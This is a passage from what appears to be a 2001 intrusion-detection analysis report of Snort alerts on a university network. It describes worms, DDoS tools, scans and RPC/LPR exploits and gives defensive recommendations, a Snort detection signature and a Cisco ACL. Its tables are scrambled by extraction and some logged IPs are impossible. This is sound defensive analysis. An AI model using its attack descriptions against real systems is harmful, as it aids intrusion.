 Correlation
The IP address 63.117.235.7 has been reported as scanning port 37852 UDP at SANS GIAC.
The following URL describes this traffic: http://www.sans.org/y2k/041901.htm.
Tiny Fragments – Possible Hostile Activity
 All sources triggering this attack signature
Source
202.39.78.124
63.227.41.165
# Alerts (sig)
16
6
# Alerts (total)
16
6
# Dsts (sig)
9
4
# Dsts (total)
9
4
# Srcs (sig)
1
1
1
1
1
# Srcs (total)
1
3
1
5
1
 Top 5 destinations receiving this attack signature
Destinations
MY.NET.228.54
MY.NET.211.114
MY.NET.201.6
MY.NET.212.198
MY.NET.217.166
# Alerts (sig)
3
3
2
2
2
# Alerts (total)
3
5
2
7
2
 Brief description of the attack
Packet fragmentation occurs when the packets are too large given the maximum transmission
unit (MTU) of the interface the packet is being sent from, or on a router. If the original
packet is too large, the packet is fragmented into smaller datagrams that are then reassembled
at the destination.
The “tiny fragment attack” is when the attacker exploits the intended use of fragmentation
and intentionally fragments their packets so small that the packet header is split across
fragments. If the destination host's packet filtering rules and/or IDS only considers signatures
based on all the information in the header, or does not enforce a minimum fragment size, the
packet is allowed past the device without incident. More information on fragmentation
attacks is available at the following URL's:
http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc1858.html
http://www.sans.org/infosecFAQ/threats/frag_attacks.htm
Looking at a sample of this traffic, we see that there are no port numbers associated with the
hosts. This indicates that this attack was done using ICMP. This is a characteristic of the Ping
O’ Death attack, which most operating systems are no longer vulnerable to. Note that no
correlations appeared in the scan or OOS logs for this attack.
60
04/14-02:44:23.398241 [**]
Activity [**] 63.227.41.165
04/14-02:59:40.607309 [**]
Activity [**] 63.227.41.165
Tiny Fragments - Possible Hostile
-> MY.NET.217.166
Tiny Fragments - Possible Hostile
-> MY.NET.202.106
 Defensive recommendation
If you are using Cisco routers, the following URL contains information on implementing
ACL's to protect against fragmentation attacks:
http://www.cisco.com/warp/public/105/acl_wp.html. In particular, enforce a minimum
fragment size on the first fragmented packet to insure entire IP packet header is available for
inspection by the filtering device and IDS.
Using a stateful firewall that checks for fragment overlap is also advised. Note that Firewall1 has know fragmentation attack vulnerabilities in certain versions of their product (see the
URL http://www.sans.org/infosecFAQ/threats/frag_attacks.htm for more information).
Be sure all machines have fully patched operation systems so they are not vulnerable to the
Ping O’ Death attack.
 Correlation
The only correlation found for the two source IP's was in the SANS CID database dated
4/3/2001 (http://www.incidents.org/cid/search.php, search parameter = 202.39.78.124).
Source IP
202.39.78.124
Source Port
0
Destination Port
0
Protocol
17 (UDP)
Date
4/3/01
# Dsts (sig)
3
1
1
1
1
# Dsts (total)
3
1
1
1
1
# Srcs (sig)
1
2
1
1
# Srcs (total)
1
3
3
3
Port 55850 tcp – Possible myserver activity – ref.010313-1
 Top 5 sources triggering this attack signature
Source
MY.NET.6.34
66.38.151.7
64.2.43.197
64.12.136.6
207.46.181.48
# Alerts (sig)
8
3
2
2
2
# Alerts (total)
8
3
2
2
2
 Top 5 destinations receiving this attack signature
Destinations
165.251.8.76
MY.NET.6.34
MY.NET.253.41
MY.NET.6.7
# Alerts (sig)
4
3
3
2
# Alerts (total)
4
4
28
5
61
64.12.136.6
2
2
1
1
 Brief description of the attack
Myserver is a distributed DoS (DDoS) tool similar to Trinoo. According to a post by Randy
Marchany that references mail from Joakim Bergkvist, "Essentially this exploit allows the
hacker to send shell commands via the portmapper which will be executed with root
privileges". The exploit apparently allows the attacker to gain root access to the victim
machine via the RPC stat exploit and modifies inetd.conf to spawn a shell on port 9704
before restarting inetd. The tool also trojans the ps and ls binaries in an attempt to remain
stealthy. Once the attacker installs the myserver agent, the Trojan apparently listens on port
55850 UDP for connections. Note that the rpc.statd exploit specifically targets Linux
distributions.
Do note that the Snort signature title says, "Port 55850 tcp". Myserver supposedly runs on
UDP port 55850. Either the title is a typo, and should say, "Port 55850 udp", or the author
knows or is guessing that myserver has been altered to use the TCP port. Also, note that the
traffic from this trace is almost exclusively between ports 55850 and 25. A few scans
involving ports 8080 and 6346 to port 55850 were also logged. Given that ports 8080 and
6346 are often seen in exploit code, and the ephemeral port 55850 was used by multiple hosts
to scan port 25 on your internal hosts, this is most likely not normal mail traffic.
 Defensive recommendation
Patch your rpc.statd package using the appropriate vendor patch and restart rpc.statd, or do
not run rpc.statd at all. However, do note that not running rpc.statd will affect your ability to
run NFS (Network File System). There is a CERT Vulnerability note located here:
http://www.kb.cert.org/vuls/id/34043. There is also a CVE advisory located here:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0666.
In addition, blocking unnecessary ports on the firewall is advised. Any stateful firewall that
"denies what is not explicitly allowed" will help protect against this attack.
Finally, inspect the internal hosts MY.NET.6.34, MY.NET.253.41 and MY.NET.6.7. These
hosts were either the source and/or destination of myserver traffic. If any of the machines are
infected, follow your incident handling policy and at a minimum rebuild the boxes from
vendor media.
 Correlation
A posting concerning this DDoS tool appeared on the SANS GIAC website in mide 2000.
The URL is: http://www.sans.org/y2k/082200.htm. No other correlations at GIAC or in the
SANS CID were found as of 6/23/01.
Null Scan!
62
 Top 5 sources triggering this attack signature
Source
142.103.50.152
206.29.168.18
200.42.5.159
193.41.181.254
24.4.215.116
# Alerts (sig)
3
1
1
1
1
# Alerts (total)
3
1
2
1
1
# Dsts (sig)
1
1
1
1
1
# Dsts (total)
1
1
1
1
1
# Srcs (sig)
1
2
1
1
1
# Srcs (total)
2
7
2
1
1
 Top 5 destinations receiving this attack signature
Destinations
MY.NET.224.102
MY.NET.225.138
MY.NET.209.250
MY.NET.221.134
MY.NET.221.66
# Alerts (sig)
3
2
1
1
1
# Alerts (total)
4
7
2
2
1
 Brief description of the attack
A Null scan is when the attacker crafts a TCP packet that does not contain any flags. Since a
TCP connection must use the three-way handshake, there must be at least one flag set in any
normal TCP packet. Attackers use this technique to try to bypass firewalls that look for the
SYN flag to be set in conjunction with restricted ports. This is also a useful technique for
evading IDS signatures that look for certain flag combinations. Note that Nmap has the
capability to perform this kind of scan.
While no discernible pattern was found among the source and destination ports of the various
Null scans, ports 6688 (Napster Data), 6699 (Napster) and 6346 (Gnutella) occurred multiple
times.
 Defensive recommendation
Use a stateful firewall with an aggressive firewall policy. Only the necessary services should
be running on the firewall. A null scan of a closed port will elicit a RST packet, whereas a
null scan of an open port will result in the destination host dropping the packet. Note that
Microsoft TCP stacks are not vulnerable to null scans due to their noncompliance with TCP
standards.
 Correlation
The SANS CID database (http://www.incidents.org/cid/search.php) identified one correlation
on 4/24/01 from the IP address 200.42.5.159:
Source IP
200.42.5.159
Source Port
51
Destination Port
6346
Protocol
6 (TCP)
Date
4/24/01
63
High port 65535 udp – possible Red Worm - traffic
 Top 5 sources triggering this attack signature
Source
64.182.96.150
MY.NET.204.194
MY.NET.70.242
62.156.14.212
203.34.200.71
# Alerts (sig)
8
5
5
3
3
# Alerts (total)
8
5
5
3
3
# Dsts (sig)
5
1
4
2
3
# Dsts (total)
5
1
4
2
3
# Srcs (sig)
5
4
3
1
1
# Srcs (total)
5
4
3
1
5
 Top 5 destinations receiving this attack signature
Destinations
203.34.200.71
64.182.96.150
MY.NET.70.242
MY.NET.217.230
MY.NET.212.198
# Alerts (sig)
11
5
4
2
2
# Alerts (total)
11
5
4
2
7
 Brief description of the attack
The Red Worm, now known at the Adore Worm, scans the Internet looking for Linux hosts
that are vulnerable to exploits for the following services: rpc-statd, wu-ftpd, LPRng, and
DNS BIND. Once it finds a vulnerable host and gains access via one of the listed exploits, it
trojans the ps binary and moves the original to /usr/bin/adore. It then attempts to send
various system information such as the output of an ifconfig command, and well as the
/etc/shadow file. A detailed analysis of version 0.8 of the Adore worm can be found
here: http://www.sans.org/y2k/adore.htm. Note that the code for this worm can be modified
rather easily, so do not assume it listens on port 65535.
Note that the RC1 (Remote Control 1) Trojan listens on UDP port 65535. Since all of the
connections involved port 65535 as the remote source or remote destination port, these traces
could be indications of an internal user connecting to a Red/Adore Worm or RC1 client on
the Internet. Simovits has a small amount of information on this Trojan at the following
URL: http://www.simovits.com/trojans/tr_data/y1073.html.
 Defensive recommendation
William Stearns of Dartmouth University has written an Adore detection removal tool. You
may find it here: http://www.ists.dartmouth.edu/IRIA/knowledge_base/tools/adorefind.htm.
Since Snort detected possible Red Worm traffic, it is highly recommend you download this
tool and run it on the hosts MY.NET.204.194, MY.NET.70.242, MY.NET.217.230, and
MY.NET.212.198. In addition, block access to the web site go.163.com at the firewall and
64
block email from the addresses [email protected], [email protected],
[email protected], and [email protected].
If the Red Worm is not found on the internal hosts above, web server logs should be
inspected to see what kinds of traffic these hosts created. In addition, the hosts below in the
correlation section should be paid special attention to. They are producing traffic that
indicates they may be port scanning hosts on the Internet. There is also evidence that your
hosts are communicating with hosts on the Internet on port 65535.
Again, a properly configured and patched firewall will help protect your network from a
worm and port scanning activities such as this.
 Correlation
No correlations were found for the external source IP's on the GIAC site, SANS CID, or on
Google. However, the queries MY_NET_204_194_qry, MY_NET_217_230_qry and
MY_NET_212_198_qry from the Access database show the internal hosts creating traffic
that Snort identified as port scanning behavior.
Day
16
16
17
17
17
17
17
18
18
18
19
19
19
19
19
Time
Src_IP_of_Portscan
7:25:25 PM
MY.NET.204.194
8:05:26 PM
MY.NET.204.194
2:19:03 AM
MY.NET.204.194
11:53:29 AM MY.NET.204.194
12:01:50 PM MY.NET.204.194
12:48:53 PM MY.NET.204.194
8:36:20 PM
MY.NET.204.194
12:22:20 AM MY.NET.204.194
12:48:38 AM MY.NET.204.194
4:05:07 PM
MY.NET.204.194
12:56:06 AM MY.NET.204.194
1:21:45 AM
MY.NET.204.194
11:48:51 AM MY.NET.204.194
12:06:35 PM MY.NET.204.194
12:07:38 PM MY.NET.204.194
Total_Hosts_Scanned
230
162
146
169
232
187
326
169
212
183
158
303
276
291
350
TCP_Packets
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
UDP_Packets
264
183
163
186
261
212
388
194
240
202
184
348
315
330
419
Day
13
13
13
13
13
13
13
13
13
13
Time
Src_IP_of_Portscan Total_Hosts_Scanned
10:33:15 AM MY.NET.217.230
359
1:26:43 PM
MY.NET.217.230
14
1:32:04 PM
MY.NET.217.230
13
1:32:27 PM
MY.NET.217.230
66
1:52:00 PM
MY.NET.217.230
25
2:01:23 PM
MY.NET.217.230
47
2:02:47 PM
MY.NET.217.230
11
2:03:31 PM
MY.NET.217.230
39
2:04:58 PM
MY.NET.217.230
27
2:06:29 PM
MY.NET.217.230
52
TCP_Packets
0
0
1
0
0
0
0
0
0
0
UDP_Packets
435
16
12
79
26
49
14
41
28
53
65
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
13
Day
13
14
2:10:55 PM
2:27:01 PM
2:27:06 PM
2:27:16 PM
2:28:02 PM
2:28:36 PM
2:32:52 PM
2:41:24 PM
3:34:07 PM
3:38:00 PM
3:38:10 PM
3:38:39 PM
4:10:51 PM
4:11:01 PM
7:33:55 PM
7:34:24 PM
7:48:15 PM
7:48:35 PM
7:52:21 PM
8:39:32 PM
9:34:53 PM
9:35:31 PM
10:35:00 PM
10:35:13 PM
10:41:19 PM
10:47:31 PM
10:49:09 PM
10:49:42 PM
10:50:26 PM
10:50:45 PM
10:51:13 PM
11:09:29 PM
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
MY.NET.217.230
14
15
34
27
22
27
52
14
102
23
39
81
21
13
37
178
28
34
125
29
17
113
20
22
51
62
52
17
55
58
27
51
Time
Src_IP_of_Portscan Total_Hosts_Scanned
10:07:28 PM MY.NET.212.198
30
11:11:53 PM MY.NET.212.198
1572
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
15
15
34
29
23
27
54
14
124
24
39
98
20
14
38
202
29
37
165
30
17
134
20
22
52
64
53
17
57
59
27
50
TCP_Packets
0
6
UDP_Packets
74
1679
Queso fingerprint
 Top 5 sources triggering this attack signature
Source
63.31.48.7
213.76.185.130
213.64.149.61
209.85.37.71
158.75.57.4
# Alerts (sig)
27
5
4
4
3
# Alerts (total)
27
5
4
4
3
# Dsts (sig)
1
5
4
3
3
# Dsts (total)
1
5
4
3
3
66
 Top 5 destinations receiving this attack signature
Destinations
MY.NET.225.134
MY.NET.225.138
MY.NET.202.106
MY.NET.217.114
MY.NET.203.98
# Alerts (sig)
27
3
2
2
2
# Alerts (total)
27
7
4
2
2
# Srcs (sig)
1
3
1
2
2
# Srcs (total)
1
7
3
2
2
 Brief description of the attack
Queso is a scanning tool similar to Nmap and hping2 that allows the attacker to determine
which operating system the victim machine is using. In particular, it can set the reserved bits
in a SYN packet. After viewing the SnortSnarf logs a little closer, port 6346 and 6347 appear
quite frequently. Gnutella used port 6346, and some users configure Gnutella to listen on port
6347 to try and bypass packet filters that block TCP port 6346. Also observed were
connection attempts to ports 113 (auth/ident), 2208 (the Rux.PSW Trojan listens on port
2208 TCP), and port 4087 (unknown).
Had any of the hosts been listening on these ports, the attacker could have identified the OS
and possibly have found a listening service or Trojan.
 Defensive recommendation
A stateful firewall and fully patched machines will help protect against port scans that are
attempting to do OS fingerprinting. NT machines in particular should be updated with the
latest service pack.
There is a CVE advisory under review and an incident note from CERT on Queso scans. The
advisory information is located at the following URL’s:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0454
http://www.cert.org/incident_notes/IN-98.04.html
 Correlation
A correlation for the attacker IP 213.76.185.130 was found here:
http://www.mynetwatchman.com/mynetwatchman/ListDetailIncidentsByDate.asp?IncidentId
=46419.
The SANS CID database (http://www.incidents.org/cid/search.php) identified several
correlations from the IP address 158.75.57.4:
Source IP
158.75.57.4
Source Port
58913
Destination Port
6347
Protocol
6
Date
6/14/01
67
158.75.57.4
158.75.57.4
40025
53388
6346
6346
6
0
5/17/01
12/12/00
# Dsts (sig)
14
9
2
1
1
# Dsts (total)
14
99
2
1
1
# Srcs (sig)
1
1
1
1
2
# Srcs (total)
1
1
1
1
2
TCP SRC and DST outside network
 Top 5 sources triggering this attack signature
Source
169.254.101.152
128.101.28.114
192.168.1.92
192.168.0.5
172.159.25.102
# Alerts (sig)
25
9
4
3
1
# Alerts (total)
25
163
4
3
1
 Top 5 destinations receiving this attack signature
Destinations
205.188.48.116
209.242.124.6
209.125.144.4
205.188.48.117
132.248.54.106
# Alerts (sig)
4
3
3
3
2
# Alerts (total)
4
3
3
3
2
 Brief description of the attack
This TCP traffic, similar to the ICMP traffic described previously, appears to be spoofed from
your internal network. The attacker is spoofing their source address to be that IANA (Internet
Assigned Numbers Authority), University of Minnesota, and AOL.
Note that the destinations of these packets include AOL, an ISP, @Home network, and a
University in Mexico.
 Defensive recommendation
The same recommendation here is made as with the ICMP spoofed traffic. The best defense
against IP spoofing within your internal network is performing egress filtering at your border
routers. The following SANS paper provides an excellent description of and instructions on
how to implement egress filtering: http://www.sans.org/infosecFAQ/firewall/egress.htm.
 Correlation
No correlations were found in the SANS CID. Even if correlations were found, it would be
very hard to trace the attack back to your own network.
68
High port 65535 tcp – possible Red Worm - Traffic
 Top 5 sources triggering this attack signature
Source
129.59.51.185
MY.NET.201.206
MY.NET.210.130
MY.NET.253.24
MY.NET.228.126
# Alerts (sig)
22
19
13
5
5
# Alerts (total)
22
19
13
5
5
# Dsts (sig)
2
1
1
2
1
# Dsts (total)
2
1
1
2
1
# Srcs (sig)
4
1
1
1
1
# Srcs (total)
4
1
1
1
1
 Top 5 destinations receiving this attack signature
Destinations
129.59.51.185
MY.NET.210.130
MY.NET.228.126
200.147.247.234
206.106.64.12
# Alerts (sig)
38
16
6
4
4
# Alerts (total)
38
16
6
4
4
 Brief description of the attack
The same description as in the High port 65535 udp – possible Red Worm – traffic section
above applies here. Of course, the difference is the traffic is TCP, not UDP. Note that the
RC1 Trojan is known to run on both TCP and UDP 65535.
 Defensive recommendation
Again, the same recommendation made in the High port 65535 udp – possible Red Worm –
traffic section applies here.

Correlation
No correlations were found for the external source IP 129.59.51.185 on the GIAC site, SANS
CID, or on Google.
Watchlist 000222 NET-NCFC
 Top 5 sources triggering this attack signature
Source
159.226.92.9
159.226.41.166
159.226.6.5
159.226.114.1
# Alerts (sig)
43
41
9
5
# Alerts (total)
43
41
9
5
# Dsts (sig)
1
1
1
2
# Dsts (total)
1
1
1
2
69
159.226.120.14
4
4
2
2
# Srcs (sig)
1
1
5
1
1
# Srcs (total)
1
1
5
1
1
 Top 5 destinations receiving this attack signature
Destinations
MY.NET.144.54
MY.NET.100.56
MY.NET.253.43
MY.NET.6.47
MY.NET.253.52
# Alerts (sig)
43
41
11
9
3
# Alerts (total)
43
41
11
9
3
 Brief description of the attack
These scans all originate from the 159.226.0.0 class B network, which is registered to the
Computer Network Center Chinese Academy of Sciences. It appears that internal hosts are
engaged in FTP and Telnet sessions with hosts in the 159.226.0.0 network. It also appears
that mail is being sent from the attacker’s network to your internal hosts due to the
appearance of port 25 (SMTP) and 113 (auth/ident) in the Snort logs.
 Defensive recommendation
This traffic is rather alarming. Port 20 traffic was seen in the Snort logs, which is the FTP
data port. One of your internal hosts appears to be either transfering data to your internal
network, or hosts within your network are compromised and the attacker is transferring data
from the remote network to yours. I would have expected to see to bi-directional traffic for
this alert. I suspect that your Snort signature is only alerting on incoming traffic from the
attacker’s IP block. I would suggest modifying your signature to capture both inbound and
outbound traffic. You may do this by using the “<->” operator in the Snort signature instead
of a unidirectional operator, such as “->”.
The 159.226.0.0 network should be also blocked at the router via an ACL. The following
Cisco ACL will do this (replace “101” and “MY.NET” with the appropriate values):
! Cisco - IOS Watchlist 000222 NET-NCFC ACL
access-list 101 deny ip 159.226.0.0 0.0.255.255 MY.NET.0.0
0.0.255.255 log
In addition, the following hosts should be inspected for signs of misuse and/or compromise.
MY.NET.144.54
MY.NET.100.56
MY.NET.253.43
MY.NET.6.47
MY.NET.253.52
MY.NET.6.7
MY.NET.4.3
MY.NET.100.230
MY.NET.6.35
MY.NET.6.34
MY.NET.253.51
MY.NET.253.41
70
 Correlation
The following IP’s were correlated with other GCIA analyst reports at http://www.sans.org:
159.226.92.9
http://www.sans.org/y2k/practical/Andy_Siske_GCIA.htm
159.226.41.166
http://www.sans.org/y2k/practical/Crist_Clark_GCIA.html
159.226.6.5
http://www.sans.org/y2k/practical/Miika_Turkia_GCIA.html
http://www.sans.org/y2k/practical/Crist_Clark_GCIA.html
connect to 515 from outside
 Top 5 sources triggering this attack signature
Source
65.1.158.27
130.185.51.62
213.186.93.218
64.217.203.219
199.34.68.4
# Alerts (sig)
56
41
18
15
8
# Alerts (total)
56
41
18
15
8
# Dsts (sig)
53
40
18
13
8
# Dsts (total)
53
40
18
13
8
# Srcs (sig)
1
1
1
1
1
# Srcs (total)
1
1
2
3
3
 Top 5 destinations receiving this attack signature
Destinations
MY.NET.132.49
MY.NET.137.202
MY.NET.132.35
MY.NET.135.115
MY.NET.134.206
# Alerts (sig)
2
2
2
2
2
# Alerts (total)
2
2
3
4
4
 Brief description of the attack
This scan on the internal host destination port 515 is quite common on the Internet as of late.
The attacker is most likely looking to exploit the Linux LPR (printer) daemon or BSD/Linux
LPRng vulnerability. If the attacker finds a Linux host that is listening on port 515, and is
vulnerable to this attack, the attacker may execute arbitrary commands on the victim or
launch a buffer overflow attack and gain root access.
 Defensive recommendation
71
Again, a stateful firewall that blocks port 515 will help defend against this attack. Host
operating systems should also be patched so that they are not vulnerable to this attack.
Vendor OS vulnerability and patch information is located here:
http://www.cert.org/advisories/CA-2000-22.html.
Finally, if you are running LPRng on any of your hosts, a version that is not vulnerable to the
LPRng exploit should be used. Such a version is located here:
ftp://ftp.astart.com/pub/LPRng/LPRng/LPRng-3.6.25.tgz.
A SANS alert on this scan is posted here: http://www.sans.org/newlook/alerts/port515.htm.
There are also CVE advisories for the vulnerability located at the following URL’s:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0335
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0917
Note that none of your internal hosts was flagged as responding to these scans in the Snort
logs that were provided.
 Correlation
Laurie Zirkle apparently received traffic from the IP 213.186.93.218 because her posting of
responses to host owners for April 2001 listed this IP. The posting is located here:
http://www.incidents.org/archives/intrusions/msg00322.html.
The source IP 64.217.203.219 appeared in the SANS CID database dated 5/11/2001
(http://www.incidents.org/cid/search.php, search parameter = 64.217.203.219).
Source IP
64.217.203.219
64.217.203.219
Source Port
0
0
Destination Port
515
515
Protocol
6 (TCP)
6 (TCP)
Date
5/11/01
5/11/01
The source IP 199.34.68.4 appeared in the SANS CID database dated 4/25/2001
(http://www.incidents.org/cid/search.php, search parameter = 199.34.68.4).
Source IP
199.34.68.4
Source Port
3141
Destination Port
515
Protocol
6 (TCP)
Date
4/25/01
# Dsts (sig)
12
5
13
6
1
# Dsts (total)
12
5
13
6
1
Win Gate 1080 Attempt
 Top 5 sources triggering this attack signature
Source
204.117.70.5
63.102.227.48
217.10.143.54
216.179.0.32
24.2.224.109
# Alerts (sig)
25
16
14
7
6
# Alerts (total)
25
16
14
7
6
72
 Top 5 destinations receiving this attack signature
Destinations
MY.NET.53.89
MY.NET.97.171
MY.NET.98.187
MY.NET.98.121
MY.NET.98.177
# Alerts (sig)
31
10
8
5
5
# Alerts (total)
35
10
8
5
6
# Srcs (sig)
8
3
3
3
3
# Srcs (total)
9
3
3
3
4
 Brief description of the attack
Wingate is a tool that allows users to simultaneously share an Internet connection. Wingate
also installs the SOCKS proxy service on port 1080, and does not log the connection
information from the attacker. This effectively allows the attacker to anonymize their scans
by proxying their traffic though a server using Wingate.
More information on Wingate is available from the product website, located here:
http://www.wingate.net. More information about SOCKS in regard to Wingate is located on
the SANS website at this address:
http://www.sans.org/newlook/resources/IDFAQ/socks.htm.
 Defensive recommendation
If you are using the Wingate application anywhere at your University, note that Wingate Pro
may be configured to enforce user authentication. According to Wingate’s documentation at
http://www.wingate.net/features/list:
“WinGate Pro offers several methods for client authentication; WinGate Internet Client,
GateKeeper, or a browser based java authentication. Authentication can be based on user
names, computer names, locations, time of day and much more.”
Whether you are using Wingate or not, proxy servers should be protected either with a
firewall and border router ACL’s.
There are CVE and CERT advisories for the use and configuration of Wingate at the
following URL’s:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0291
http://www.cert.org/vul_notes/VN-98.03.WinGate.html
 Correlation
The following source IP’s were correlated with other GCIA analyst reports and the SANS
CID database.
204.117.70.5
73
http://www.sans.org/y2k/practical/chris_kuethe_gcia.html
http://www.sans.org/y2k/072100.htm
217.10.143.54
The source IP 217.10.143.54 appeared in the SANS CID database dated 6/9/2001 and
5/31/2001 (http://www.incidents.org/cid/search.php, search parameters: Source IP =
217.10.143.54, Target Port = 1080).
Source IP
217.10.143.54
217.10.143.54
Source Port
50652
33679
Destination Port
1080
1080
Protocol
6 (TCP)
6 (TCP)
Date
6/9/01
5/31/01
216.179.0.32
The source IP 216.179.0.32 appeared numerous times in the SANS CID between 4/24/01 and
5/21/01 (http://www.incidents.org/cid/search.php, search parameters: Source IP =
216.179.0.32, Target Port = 1080).
Source IP
216.179.0.32
216.179.0.32
216.179.0.32
216.179.0.32
216.179.0.32
216.179.0.32
216.179.0.32
216.179.0.32
216.179.0.32
216.179.0.32
216.179.0.32
216.179.0.32
216.179.0.32
Source Port
4722
4722
1036
4098
3355
3980
2251
4675
2846
1584
3379
4692
3904
Destination Port
1080
1080
1080
1080
1080
1080
1080
1080
1080
1080
1080
1080
1080
Protocol
6 (TCP)
6 (TCP)
6 (TCP)
6 (TCP)
6 (TCP)
6 (TCP)
6 (TCP)
6 (TCP)
6 (TCP)
6 (TCP)
6 (TCP)
6 (TCP)
6 (TCP)
Date
5/21/01
5/21/01
5/17/01
5/17/01
5/17/01
5/17/01
5/16/01
5/16/01
5/16/01
5/3/01
4/27/01
4/27/01
4/24/01
# Dsts (sig)
24
1
4
1
1
# Dsts (total)
24
1
4
1
1
SMB Name Wildcard
 Top 5 sources triggering this attack signature
Source
MY.NET.220.110
141.157.95.30
MY.NET.219.146
66.74.68.29
24.93.44.178
# Alerts (sig)
24
18
7
6
4
# Alerts (total)
24
18
7
6
4
 Top 5 destinations receiving this attack signature
74
Destinations
MY.NET.6.15
MY.NET.135.67
MY.NET.134.57
MY.NET.134.227
MY.NET.134.76
# Alerts (sig)
18
8
6
4
4
# Alerts (total)
19
10
7
4
4
# Srcs (sig)
1
4
1
2
2
# Srcs (total)
2
6
2
2
2
 Brief description of the attack
The SMB Name Wildcard signature is most likely the same or very similar to the following
Snort signature from http://www.whitehats.com/ids/vision.conf.gz (export date:
20010628.1005).
alert UDP $EXTERNAL any -> $INTERNAL 137 (msg:
"IDS177/netbios_netbios-name-query"; content:
"CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|00 00|";)
What the source host is doing is requesting the NetBIOS name of the destination host. This is
done as part of the Windows file sharing protocol to obtain domain, user and host id
information. An attacker can use this reconnaissance information to launch future attacks.
However, this traffic is generated in other instances. According the NetBIOS name query
signature in the arachNIDS database, located at http://www.whitehats.com/IDS/177,
“Additionally, some desktop firewalls will automatically send the packets to any other host
that connects back to the user (such as identd requests from a mail server or IRC server).
NetBIOS name traffic is considered background noise on the network and should only be
considered when combined with other forensic evidence that points to a problem/suspicion.”
[12].
This traffic most often occurs between port 137 on both the source and destination hosts.
However, the signature above looks for this traffic from any UDP source port. The Snort logs
that were provided from your network show traffic from port 137 and various ephemeral
ports to port 137. Note that the host MY.NET.220.110 sent netbios name queries from an
ephemeral port to internal hosts in your network.
 Defensive recommendation
Unless specifically required, turn off file sharing on all Windows hosts. A stateful firewall
that blocks the Windows NetBIOS port 135-139 should also be employed. All your internal
Windows machines would also benefit from a personal firewall such as ZoneAlarm
(http://www.zonelabs.com) or Tiny Personal Firewall
(http://www.tinysoftware.com/pwall.php). For machines that require file sharing, use one of
the former personal firewalls and set up a trust relationship between the hosts.
There are numerous CVE and CERT advisories for NetBIOS. A few are listed below:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0288
75
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0347
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0673
http://www.kb.cert.org/vuls/id/32650
http://www.cert.org/incident_notes/IN-2000-02.html
 Correlation
No correlations were found for the external source IP’s on the GIAC site, SANS CID, or on
Google.
SUNRPC highport access!
 All sources triggering this attack signature
Source
35.9.37.225
199.244.218.40
64.7.207.114
# Alerts (sig)
311
4
1
# Alerts (total)
311
4
1
# Dsts (sig)
1
1
1
# Dsts (total)
1
1
1
# Srcs (sig)
1
1
1
# Srcs (total)
1
1
1
 All destinations receiving this attack signature
Destinations
MY.NET.100.197
MY.NET.209.10
MY.NET.20.10
# Alerts (sig)
311
4
1
# Alerts (total)
311
4
1
 Brief description of the attack
The first IP, 35.9.37.225, appears to be trying to connect to port 32771. This is known as the
FileNet or rpc.ghost portmapper port. Since the source ports are all ephemeral, this scan
looks like a connect-scan against the host MY.NET.100.197 over a period of approximately 6
seconds.
The second IP, 199.244.218.40, appears to be trying to connect from port 443, the wellknown port for SSL (Secure Socket Layer). If this were an inbound SSL SYN connection,
the attacker would be using an ephemeral port. This could be a case of the attacker using port
443 in an attempt to make this look like legitimate encrypted web traffic. There is a small
chance the connection was initiated by an internal user using the ephemeral port 32771.
However, I would expect to see more connections than the four packets that were logged,
shown below:
04/13-18:23:46.239878 [**] SUNRPC highport access! [**]
199.244.218.40:443-> 199.256.209.10:32771
04/13-18:23:46.239940 [**] SUNRPC highport access! [**]
199.244.218.40:443-> 199.256.209.10:32771
76
04/13-18:23:46.274563 [**] SUNRPC highport access! [**]
199.244.218.40:443-> 199.256.209.10:32771
04/13-18:23:46.275270 [**] SUNRPC highport access! [**]
199.244.218.40:443-> 199.256.209.10:32771
In addition, these were the only packets logged from this source IP in the seven-day period
that was examined. If this was a deliberate scan, the attacker is very cautious and/or patient.
Based on the correlation information below, it appears this traffic is a deliberate port scan
that is attempting to be stealthy by using port 443 as a source port.
The third IP, 64.7.207.114, tried to connect to the host MY.NET.20.10 from port 8080 to port
32771 with a single packet. Port 8080 is a well-known proxy server port. Most likely, this is
a false positive as far as an attack is concerned. The connection occurred at 12:24pm on 4/14,
as shown below:
04/14-12:24:30.079483 [**] SUNRPC highport access! [**]
64.7.207.114:8080-> 199.256.20.10:32771
 Defensive recommendation
The best defense against these attacks is to turn off RPC services if they are not required.
Note that RPC is required to run X-Windows and Solaris CDE. If you cannot turn off RPC
on your firewall (ie. you are running Gauntlet firewall and are running the espm-gui client
locally), add an ACL on your border router to block inbound rpcinfo -p <ip
address> requests. Be sure to do this for port 111, and 32771 if you are running RCP
services on this port.
There are numerous CVE advisories for RPC. One such advisory under review is having
RPC running at all: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0632.
 Correlation
The source IP 199.244.218.40 appeared in the SANS CID database dated 5/15/2001
(http://www.incidents.org/cid/search.php, search parameters: Source IP = 199.244.218.40,
Source Port = 443).
Source IP
199.244.218.40
199.244.218.40
199.244.218.40
Source Port
443
443
443
Destination Port
3340
3346
3347
Protocol
6 (TCP)
6 (TCP)
6 (TCP)
Date
5/15/01
5/15/01
5/15/01
External RPC call
77
